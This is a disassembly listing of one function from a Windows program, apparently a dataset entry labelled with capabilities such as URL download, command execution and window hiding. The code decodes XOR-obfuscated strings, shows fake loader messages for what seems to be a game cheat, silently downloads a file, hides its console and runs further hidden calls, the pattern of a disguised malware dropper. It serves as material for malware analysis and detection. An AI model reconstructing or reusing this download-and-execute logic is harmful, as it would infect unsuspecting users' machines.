Function at 0x140001340
Capabilities:
Delete file
Download url
Execute command
Hide graphical window
Receive data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x58]
sub rsp, 0x130
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x140009010]
xor rax, rsp
mov qword [rbp + 0x18], rax
lea rcx, str.color_9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Russian
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_setlocale]
mov al, 0x2c
mov byte [rbp - 0x30], 0x58
movzx r8d, al
mov cl, 0x31
mov r9b, 0x34
mov r10b, 0x3d
mov r11b, 0x78
xor r8b, 0x58
xor edx, edx
mov byte [rbp - 0x2d], r8b
xor al, 0x58
mov byte [rbp - 0x29], dl
xor cl, 0x58
mov byte [rbp - 0x2f], al
xor r9b, 0x58
mov byte [rbp - 0x2e], cl
xor r10b, 0x58
mov byte [rbp - 0x2c], r9b
xor r11b, 0x58
mov byte [rbp - 0x2b], r10b
mov byte [rbp - 0x2a], r11b
call fcn.1400022e0
lea rcx, [rbp - 0x2f]
call rax
call fcn.140002720
lea rdx, str.Russian
xor ecx, ecx
call rax
call fcn.140002b60
lea rcx, [0x140007438]
call rax
movdqa xmm1, xmmword [0x140007670]
mov r10b, 0x42
movdqa xmm2, xmmword [0x140007660]
movdqa xmm0, xmm1
movdqa xmm3, xmmword [0x140007620]
mov cl, 0x5c
movdqa xmm4, xmmword [0x1400075d0]
mov r8b, 0x5e
movdqa xmm5, xmmword [0x1400076c0]
mov r9b, 0x5f
movd edx, xmm1
movzx r11d, r10b
movdqa xmmword [rsp + 0x60], xmm1
movzx ebx, r10b
movdqa xmmword [rsp + 0x70], xmm2
movzx edi, r10b
xor byte [rsp + 0x62], dl
movzx esi, r10b
xor byte [rsp + 0x63], dl
movzx r14d, r10b
xor byte [rsp + 0x64], dl
movzx r15d, r10b
xor byte [rsp + 0x65], dl
xor byte [rsp + 0x66], dl
xor byte [rsp + 0x67], dl
xor byte [rsp + 0x68], dl
xor byte [rsp + 0x69], dl
xor byte [rsp + 0x6a], dl
xor byte [rsp + 0x6b], dl
xor byte [rsp + 0x6c], dl
xor byte [rsp + 0x6d], dl
xor byte [rsp + 0x6e], dl
xor byte [rsp + 0x6f], dl
xor byte [rsp + 0x71], dl
psrldq xmm0, 1
movd eax, xmm0
movdqa xmmword [rbp - 0x80], xmm3
movdqa xmmword [rbp - 0x70], xmm4
xor al, dl
movdqa xmmword [rbp - 0x60], xmm5
mov byte [rsp + 0x61], al
movd eax, xmm2
xor al, dl
xor byte [rsp + 0x72], dl
mov byte [rsp + 0x70], al
xor byte [rsp + 0x73], dl
xor cl, dl
xor byte [rsp + 0x74], dl
xor r8b, dl
xor byte [rsp + 0x75], dl
xor r9b, dl
xor byte [rsp + 0x76], dl
xor r10b, dl
xor byte [rsp + 0x77], dl
xor r11b, dl
xor byte [rsp + 0x78], dl
xor bl, dl
xor byte [rsp + 0x79], dl
xor byte [rsp + 0x7a], dl
xor byte [rsp + 0x7b], dl
xor byte [rsp + 0x7c], dl
xor byte [rsp + 0x7d], dl
xor byte [rsp + 0x7e], dl
xor byte [rsp + 0x7f], dl
xor byte [rbp - 0x7f], dl
xor byte [rbp - 0x7e], dl
xor byte [rbp - 0x7d], dl
xor byte [rbp - 0x7c], dl
xor byte [rbp - 0x7b], dl
xor byte [rbp - 0x7a], dl
xor byte [rbp - 0x79], dl
xor byte [rbp - 0x78], dl
xor byte [rbp - 0x77], dl
xor byte [rbp - 0x76], dl
xor byte [rbp - 0x75], dl
xor byte [rbp - 0x74], dl
xor byte [rbp - 0x73], dl
xor byte [rbp - 0x72], dl
xor byte [rbp - 0x71], dl
xor byte [rbp - 0x6f], dl
xor byte [rbp - 0x6e], dl
xor byte [rbp - 0x6d], dl
xor byte [rbp - 0x6c], dl
xor byte [rbp - 0x6b], dl
xor byte [rbp - 0x6a], dl
xor byte [rbp - 0x69], dl
xor byte [rbp - 0x68], dl
xor byte [rbp - 0x67], dl
xor byte [rbp - 0x66], dl
xor byte [rbp - 0x65], dl
xor byte [rbp - 0x64], dl
xor byte [rbp - 0x63], dl
xor byte [rbp - 0x62], dl
xor byte [rbp - 0x61], dl
xor byte [rbp - 0x5f], dl
xor byte [rbp - 0x5e], dl
xor byte [rbp - 0x5d], dl
xor byte [rbp - 0x5c], dl
xor byte [rbp - 0x5b], dl
xor byte [rbp - 0x5a], dl
xor byte [rbp - 0x59], dl
xor byte [rbp - 0x58], dl
xor byte [rbp - 0x57], dl
xor byte [rbp - 0x56], dl
xor byte [rbp - 0x55], dl
xor byte [rbp - 0x54], dl
xor byte [rbp - 0x53], dl
xor byte [rbp - 0x52], dl
xor byte [rbp - 0x51], dl
movd eax, xmm3
mov byte [rbp - 0x50], cl
mov byte [rbp - 0x4f], r8b
xor al, dl
mov byte [rbp - 0x4e], r9b
mov byte [rbp - 0x80], al
movd eax, xmm4
mov byte [rbp - 0x4d], r10b
mov byte [rbp - 0x4c], r11b
xor al, dl
mov byte [rbp - 0x4b], bl
mov byte [rbp - 0x70], al
movd eax, xmm5
xor al, dl
xor dil, dl
mov byte [rbp - 0x60], al
mov byte [rbp - 0x4a], dil
xor sil, dl
mov byte [rbp - 0x46], 0
xor r14b, dl
mov byte [rbp - 0x49], sil
xor r15b, dl
mov byte [rbp - 0x48], r14b
mov byte [rbp - 0x47], r15b
call fcn.140002b60
lea rcx, [rsp + 0x61]
call rax
call fcn.140002b60
lea rcx, [0x140007438]
call rax
movdqa xmm1, xmmword [str.__f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
mov dl, 2
movd ecx, xmm1
movdqa xmm0, xmm1
movdqa xmm2, xmmword [0x140007590]
movzx r8d, dl
movdqa xmm3, xmmword [0x140007680]
movzx r9d, dl
movdqa xmm4, xmmword [str.BH_f_fzg]
movzx r10d, dl
movdqa xmm5, xmmword [0x140007650]
movdqa xmm6, xmmword [0x1400075a0]
movdqa xmmword [rsp + 0x70], xmm2
xor byte [rsp + 0x71], cl
xor byte [rsp + 0x72], cl
xor byte [rsp + 0x73], cl
xor byte [rsp + 0x74], cl
xor byte [rsp + 0x75], cl
xor byte [rsp + 0x76], cl
xor byte [rsp + 0x77], cl
xor byte [rsp + 0x78], cl
xor byte [rsp + 0x79], cl
xor byte [rsp + 0x7a], cl
xor byte [rsp + 0x7b], cl
xor byte [rsp + 0x7c], cl
xor byte [rsp + 0x7d], cl
xor byte [rsp + 0x7e], cl
xor byte [rsp + 0x7f], cl
movdqa xmmword [rsp + 0x60], xmm1
xor byte [rsp + 0x62], cl
xor byte [rsp + 0x63], cl
xor byte [rsp + 0x64], cl
xor byte [rsp + 0x65], cl
xor byte [rsp + 0x66], cl
xor byte [rsp + 0x67], cl
xor byte [rsp + 0x68], cl
xor byte [rsp + 0x69], cl
xor byte [rsp + 0x6a], cl
xor byte [rsp + 0x6b], cl
xor byte [rsp + 0x6c], cl
xor byte [rsp + 0x6d], cl
xor byte [rsp + 0x6e], cl
xor byte [rsp + 0x6f], cl
movdqa xmmword [rbp - 0x80], xmm3
xor byte [rbp - 0x7f], cl
xor byte [rbp - 0x7e], cl
xor byte [rbp - 0x7d], cl
xor byte [rbp - 0x7c], cl
xor byte [rbp - 0x7b], cl
xor byte [rbp - 0x7a], cl
xor byte [rbp - 0x79], cl
xor byte [rbp - 0x78], cl
xor byte [rbp - 0x77], cl
xor byte [rbp - 0x76], cl
psrldq xmm0, 1
movd eax, xmm0
movdqa xmmword [rbp - 0x70], xmm4
movdqa xmmword [rbp - 0x60], xmm5
xor al, cl
movdqa xmmword [rbp - 0x50], xmm6
mov byte [rsp + 0x61], al
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x70], al
movd eax, xmm3
xor al, cl
xor byte [rbp - 0x75], cl
mov byte [rbp - 0x80], al
xor byte [rbp - 0x74], cl
xor dl, cl
xor byte [rbp - 0x73], cl
xor r8b, cl
xor byte [rbp - 0x72], cl
xor r9b, cl
xor byte [rbp - 0x71], cl
xor r10b, cl
xor byte [rbp - 0x6f], cl
xor byte [rbp - 0x6e], cl
xor byte [rbp - 0x6d], cl
xor byte [rbp - 0x6c], cl
xor byte [rbp - 0x6b], cl
xor byte [rbp - 0x6a], cl
xor byte [rbp - 0x69], cl
xor byte [rbp - 0x68], cl
xor byte [rbp - 0x67], cl
xor byte [rbp - 0x66], cl
xor byte [rbp - 0x65], cl
xor byte [rbp - 0x64], cl
xor byte [rbp - 0x63], cl
xor byte [rbp - 0x62], cl
xor byte [rbp - 0x61], cl
xor byte [rbp - 0x5f], cl
xor byte [rbp - 0x5e], cl
xor byte [rbp - 0x5d], cl
xor byte [rbp - 0x5c], cl
xor byte [rbp - 0x5b], cl
xor byte [rbp - 0x5a], cl
xor byte [rbp - 0x59], cl
xor byte [rbp - 0x58], cl
xor byte [rbp - 0x57], cl
xor byte [rbp - 0x56], cl
xor byte [rbp - 0x55], cl
xor byte [rbp - 0x54], cl
xor byte [rbp - 0x53], cl
xor byte [rbp - 0x52], cl
xor byte [rbp - 0x51], cl
xor byte [rbp - 0x4f], cl
xor byte [rbp - 0x4e], cl
xor byte [rbp - 0x4d], cl
xor byte [rbp - 0x4c], cl
xor byte [rbp - 0x4b], cl
xor byte [rbp - 0x4a], cl
xor byte [rbp - 0x49], cl
xor byte [rbp - 0x48], cl
xor byte [rbp - 0x47], cl
xor byte [rbp - 0x46], cl
xor byte [rbp - 0x45], cl
xor byte [rbp - 0x44], cl
xor byte [rbp - 0x43], cl
xor byte [rbp - 0x42], cl
xor byte [rbp - 0x41], cl
movd eax, xmm4
mov byte [rbp - 0x40], dl
mov byte [rbp - 0x3f], r8b
xor al, cl
mov byte [rbp - 0x3e], r9b
mov byte [rbp - 0x70], al
movd eax, xmm5
mov byte [rbp - 0x3d], r10b
mov byte [rbp - 0x3c], 0
xor al, cl
mov byte [rbp - 0x60], al
movd eax, xmm6
xor al, cl
mov byte [rbp - 0x50], al
call fcn.140002b60
lea rcx, [rsp + 0x61]
call rax
call fcn.140002b60
lea rcx, [0x140007438]
call rax
call fcn.140002b60
lea rcx, [0x140007438]
call rax
call fcn.140002b60
lea rcx, [0x140007438]
call rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140007440]
call fcn.140002fa0
mov rcx, rax
lea rdx, [0x140003170]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Gidra_PvE___1
call fcn.140002fa0
mov rcx, rax
lea rdx, [0x140003170]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [0x140009720]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
cmp dword [0x140009720], 1
jne 0x1400018a1
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140007470]
call fcn.140002fa0
mov rcx, rax
lea rdx, [0x140003170]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140007490]
call fcn.140002fa0
mov rcx, rax
lea rdx, [0x140003170]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1400074a8]
call fcn.140002fa0
mov rcx, rax
lea rdx, [0x140003170]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1400074c0]
call fcn.140002fa0
mov rcx, rax
lea rdx, [0x140003170]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.dll
call fcn.140002fa0
mov rcx, rax
lea rdx, [0x140003170]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Gidra_PvE
call fcn.140002fa0
mov rcx, rax
lea rdx, [0x140003170]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1400074f8]
call fcn.140002fa0
mov rcx, rax
lea rdx, [0x140003170]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm1, xmmword [0x1400075e0]
mov r12b, 0x1f
movd r9d, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov cl, 0x26
mov dl, 0x2f
psrldq xmm0, 1
mov r8b, 0x1e
xor byte [rbp - 0xe], r9b
mov r10b, 1
xor byte [rbp - 0xd], r9b
mov r11b, 0x12
xor byte [rbp - 0xc], r9b
mov bl, 0x10
xor byte [rbp - 0xb], r9b
mov dil, 0x45
xor byte [rbp - 0xa], r9b
mov sil, 0x47
xor byte [rbp - 9], r9b
mov r14b, 0x5d
xor byte [rbp - 8], r9b
mov r15b, 0x17
xor byte [rbp - 7], r9b
movzx r13d, r12b
xor byte [rbp - 6], r9b
xor byte [rbp - 5], r9b
movd eax, xmm0
xor al, r9b
xor byte [rbp - 4], r9b
mov byte [rbp - 0xf], al
movdqa xmm1, xmmword [0x140007630]
xor dl, r9b
movdqa xmm2, xmmword [0x1400076b0]
xor r8b, r9b
xor byte [rbp - 3], r9b
xor cl, r9b
xor byte [rbp - 2], r9b
xor bl, r9b
xor byte [rbp - 1], r9b
xor r10b, r9b
movdqu xmmword [rsp + 0x48], xmm2
xor r11b, r9b
xor dil, r9b
movdqu xmmword [rsp + 0x38], xmm1
xor sil, r9b
mov byte [rbp + 1], dl
xor r14b, r9b
mov byte [rbp + 2], r8b
xor r15b, r9b
mov byte [rbp], cl
movd ecx, xmm1
xor r12b, r9b
xor r13b, r9b
mov byte [rbp + 5], bl
mov dl, 0x59
mov byte [rbp + 3], r10b
xor byte [rsp + 0x3a], cl
mov r9b, 0x50
xor byte [rsp + 0x3b], cl
movdqa xmm0, xmm1
xor byte [rsp + 0x3c], cl
mov r8b, 0x58
xor byte [rsp + 0x3d], cl
xor r8b, cl
xor byte [rsp + 0x3e], cl
movzx ebx, dl
xor byte [rsp + 0x3f], cl
xor dl, cl
xor byte [rsp + 0x40], cl
movzx r10d, r9b
xor byte [rsp + 0x41], cl
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
xor byte [rsp + 0x50], cl
xor byte [rsp + 0x51], cl
xor byte [rsp + 0x52], cl
xor byte [rsp + 0x53], cl
xor byte [rsp + 0x54], cl
xor byte [rsp + 0x55], cl
xor byte [rsp + 0x56], cl
xor byte [rsp + 0x57], cl
psrldq xmm0, 1
movd eax, xmm0
mov byte [rbp + 4], r11b
mov r11b, 0x5b
mov byte [rbp + 6], dil
xor al, cl
mov byte [rbp + 7], sil
mov byte [rsp + 0x39], al
movd eax, xmm2
mov byte [rbp + 8], r14b
mov byte [rbp + 9], r15b
xor al, cl
mov byte [rbp + 0xa], r12b
mov byte [rsp + 0x48], al
xor r9b, cl
mov byte [rbp + 0xb], r13b
mov byte [rbp + 0xc], 0
mov byte [rsp + 0x58], dl
mov byte [rsp + 0x59], r8b
xor r10b, cl
mov byte [rsp + 0x5a], r9b
xor r11b, cl
mov byte [rsp + 0x5b], r10b
xor bl, cl
mov byte [rsp + 0x5c], r11b
xor edi, edi
mov byte [rsp + 0x5d], bl
xor r9d, r9d
mov qword [rsp + 0x20], rdi
xor ecx, ecx
mov byte [rsp + 0x5e], 0
lea r8, [rbp - 0xf]
lea rdx, [rsp + 0x39]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov cl, 8
mov byte [rbp - 0x30], 0x69
movzx r9d, cl
mov al, 0x3e
mov dl, 0x1b
mov r8b, 0xf
mov r10b, 0xa
mov r11b, 0xc
xor r9b, 0x69
xor al, 0x69
xor cl, 0x69
mov byte [rbp - 0x2b], r9b
xor dl, 0x69
mov byte [rbp - 0x2f], al
xor r8b, 0x69
mov byte [rbp - 0x2e], cl
xor r10b, 0x69
mov byte [rbp - 0x2d], dl
xor r11b, 0x69
mov byte [rbp - 0x2c], r8b
xor ebx, ebx
mov byte [rbp - 0x2a], r10b
mov byte [rbp - 0x29], r11b
mov byte [rbp - 0x28], bl
call fcn.1400031b0
lea rdx, [rbp - 0x2f]
xor ecx, ecx
call rax
mov rbx, rax
test rax, rax
jne 0x140001cc7
movdqa xmm1, xmmword [0x140007730]
movdqa xmm2, xmmword [0x140007720]
movdqa xmm0, xmm1
movd ecx, xmm1
movdqu xmmword [rbp], xmm2
mov word [rsp + 0x30], 0x49
xor byte [rbp + 1], cl
xor byte [rbp + 2], cl
xor byte [rbp + 3], cl
xor byte [rbp + 4], cl
xor byte [rbp + 5], cl
xor byte [rbp + 6], cl
xor byte [rbp + 7], cl
xor byte [rbp + 8], cl
xor byte [rbp + 9], cl
xor byte [rbp + 0xa], cl
xor byte [rbp + 0xb], cl
xor byte [rbp + 0xc], cl
xor byte [rbp + 0xd], cl
xor byte [rbp + 0xe], cl
xor byte [rbp + 0xf], cl
movdqu xmmword [rbp - 0x10], xmm1
xor byte [rbp - 0xe], cl
xor byte [rbp - 0xd], cl
xor byte [rbp - 0xc], cl
xor byte [rbp - 0xb], cl
xor byte [rbp - 0xa], cl
xor byte [rbp - 9], cl
xor byte [rbp - 8], cl
xor byte [rbp - 7], cl
xor byte [rbp - 6], cl
xor byte [rbp - 5], cl
xor byte [rbp - 4], cl
xor byte [rbp - 3], cl
xor byte [rbp - 2], cl
xor byte [rbp - 1], cl
psrldq xmm0, 1
movd eax, xmm0
mov byte [rsp + 0x31], dil
mov byte [rbp + 0x10], dil
xor al, cl
mov byte [rbp - 0xf], al
movd eax, xmm2
xor al, cl
mov byte [rbp], al
call fcn.1400035f0
xor r9d, r9d
lea r8, [rsp + 0x31]
lea rdx, [rbp - 0xf]
xor ecx, ecx
call rax
call fcn.140003a30
xor ecx, ecx
call rax
mov dword [rbp - 0x18], edi
call fcn.140003e70
lea rdx, [rbp - 0x18]
mov rcx, rbx
call rax
mov dword [rbp - 0x30], eax
test eax, eax
jne 0x140001dbe
movdqa xmm1, xmmword [0x140007690]
mov r8b, 0xb5
movd edx, xmm1
mov r11b, 0xb7
movdqu xmmword [rbp - 0x10], xmm1
movzx r10d, r8b
mov word [rsp + 0x30], 0x30
xor byte [rbp - 0xe], dl
movdqa xmm0, xmm1
xor byte [rbp - 0xd], dl
mov cl, 0xb4
xor byte [rbp - 0xc], dl
mov r9b, 0xa9
xor byte [rbp - 0xb], dl
xor cl, dl
xor byte [rbp - 0xa], dl
xor r8b, dl
xor byte [rbp - 9], dl
xor r9b, dl
xor byte [rbp - 8], dl
xor r10b, dl
xor byte [rbp - 7], dl
mov bl, 0x5b
xor byte [rbp - 6], dl
xor bl, dl
xor byte [rbp - 5], dl
mov sil, 0xbe
xor byte [rbp - 4], dl
xor sil, dl
xor byte [rbp - 3], dl
mov r14b, 0xb6
xor byte [rbp - 2], dl
xor r14b, dl
xor byte [rbp - 1], dl
mov r15b, 0xa4
mov byte [rsp + 0x31], dil
xor r15b, dl
movzx edi, r11b
psrldq xmm0, 1
movd eax, xmm0
xor r11b, dl
xor dil, dl
mov byte [rbp], cl
mov byte [rbp + 1], r8b
xor al, dl
mov byte [rbp + 2], r9b
mov byte [rbp - 0xf], al
mov byte [rbp + 3], r10b
mov byte [rbp + 4], r11b
mov byte [rbp + 5], bl
mov byte [rbp + 6], dil
mov byte [rbp + 7], sil
mov byte [rbp + 8], r14b
mov byte [rbp + 9], r15b
mov byte [rbp + 0xa], 0
call fcn.1400035f0
xor r9d, r9d
lea r8, [rsp + 0x31]
lea rdx, [rbp - 0xf]
xor ecx, ecx
call rax
call fcn.140003a30
xor ecx, ecx
call rax
movdqa xmm1, xmmword [0x1400076f0]
mov r12b, 0x4b
movd r9d, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov cl, 0x72
mov dl, 0x7b
psrldq xmm0, 1
mov r8b, 0x4a
xor byte [rbp - 0xe], r9b
mov r10b, 0x55
xor byte [rbp - 0xd], r9b
mov r11b, 0x46
xor byte [rbp - 0xc], r9b
movzx r13d, r12b
xor byte [rbp - 0xb], r9b
xor cl, r9b
xor byte [rbp - 0xa], r9b
xor dl, r9b
xor byte [rbp - 9], r9b
xor r8b, r9b
xor byte [rbp - 8], r9b
xor r10b, r9b
xor byte [rbp - 7], r9b
xor r11b, r9b
xor byte [rbp - 6], r9b
xor r12b, r9b
xor byte [rbp - 5], r9b
xor r13b, r9b
xor byte [rbp - 4], r9b
mov bl, 0x44
xor byte [rbp - 3], r9b
xor bl, r9b
xor byte [rbp - 2], r9b
mov dil, 0x11
xor byte [rbp - 1], r9b
xor dil, r9b
movd eax, xmm0
mov sil, 0x13
xor sil, r9b
mov byte [rbp], cl
mov r14b, 9
mov byte [rbp + 1], dl
xor al, r9b
mov byte [rbp + 2], r8b
xor r14b, r9b
mov byte [rbp - 0xf], al
mov r15b, 0x43
mov byte [rbp + 3], r10b
xor r15b, r9b
mov byte [rbp + 4], r11b
mov byte [rbp + 5], bl
mov byte [rbp + 6], dil
mov byte [rbp + 7], sil
mov byte [rbp + 8], r14b
mov byte [rbp + 9], r15b
mov byte [rbp + 0xa], r12b
mov byte [rbp + 0xb], r13b
mov byte [rbp + 0xc], 0
call fcn.1400042b0
xor edx, edx
lea rcx, [rbp - 0xf]
lea r8d, [rdx + 1]
call rax
mov rsi, rax
test rax, rax
jne 0x140001ed7
mov word [rsp + 0x30], 0x39
mov byte [rsp + 0x31], al
call fcn.1400035f0
xor r9d, r9d
lea r8, [rsp + 0x31]
lea rdx, [0x140007510]
xor ecx, ecx
call rax
call fcn.140003a30
xor ecx, ecx
call rax
call fcn.1400046f0
mov rdi, rax
test rax, rax
jne 0x140001fc9
movdqa xmm1, xmmword [0x1400075f0]
movdqa xmm2, xmmword [0x140007610]
movdqa xmm0, xmm1
movd ecx, xmm1
movdqu xmmword [rsp + 0x48], xmm2
mov word [rsp + 0x30], 0x30
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
xor byte [rsp + 0x50], cl
xor byte [rsp + 0x51], cl
xor byte [rsp + 0x52], cl
xor byte [rsp + 0x53], cl
xor byte [rsp + 0x54], cl
xor byte [rsp + 0x55], cl
xor byte [rsp + 0x56], cl
xor byte [rsp + 0x57], cl
movdqu xmmword [rsp + 0x38], xmm1
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
xor byte [rsp + 0x40], cl
xor byte [rsp + 0x41], cl
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
psrldq xmm0, 1
movd eax, xmm0
mov byte [rsp + 0x58], dil
mov byte [rsp + 0x31], dil
xor al, cl
mov byte [rsp + 0x39], al
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x48], al
call fcn.1400035f0
xor r9d, r9d
lea r8, [rsp + 0x31]
lea rdx, [rsp + 0x39]
xor ecx, ecx
call rax
call fcn.140003a30
xor ecx, ecx
call rax
call fcn.140004b30
mov ebx, dword [rbp - 0x30]
mov r8, rsi
mov r9d, ebx
mov rdx, rdi
mov ecx, 3
call rax
test rax, rax
jne 0x1400020ca
movdqa xmm1, xmmword [0x140007710]
movdqa xmm2, xmmword [0x1400076e0]
movdqa xmm0, xmm1
movd ecx, xmm1
movdqu xmmword [rsp + 0x48], xmm2
mov word [rsp + 0x30], 0x6e
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
xor byte [rsp + 0x50], cl
xor byte [rsp + 0x51], cl
xor byte [rsp + 0x52], cl
xor byte [rsp + 0x53], cl
xor byte [rsp + 0x54], cl
xor byte [rsp + 0x55], cl
xor byte [rsp + 0x56], cl
xor byte [rsp + 0x57], cl
movdqu xmmword [rsp + 0x38], xmm1
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
xor byte [rsp + 0x40], cl
xor byte [rsp + 0x41], cl
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
mov byte [rsp + 0x31], al
psrldq xmm0, 1
movd eax, xmm0
mov byte [rsp + 0x58], 0
xor al, cl
mov byte [rsp + 0x39], al
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x48], al
call fcn.1400035f0
xor r9d, r9d
lea r8, [rsp + 0x31]
lea rdx, [rsp + 0x39]
xor ecx, ecx
call rax
call fcn.140003a30
xor ecx, ecx
call rax
call fcn.140004f70
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, ebx
call rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.140004f70
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, ebx
call rax
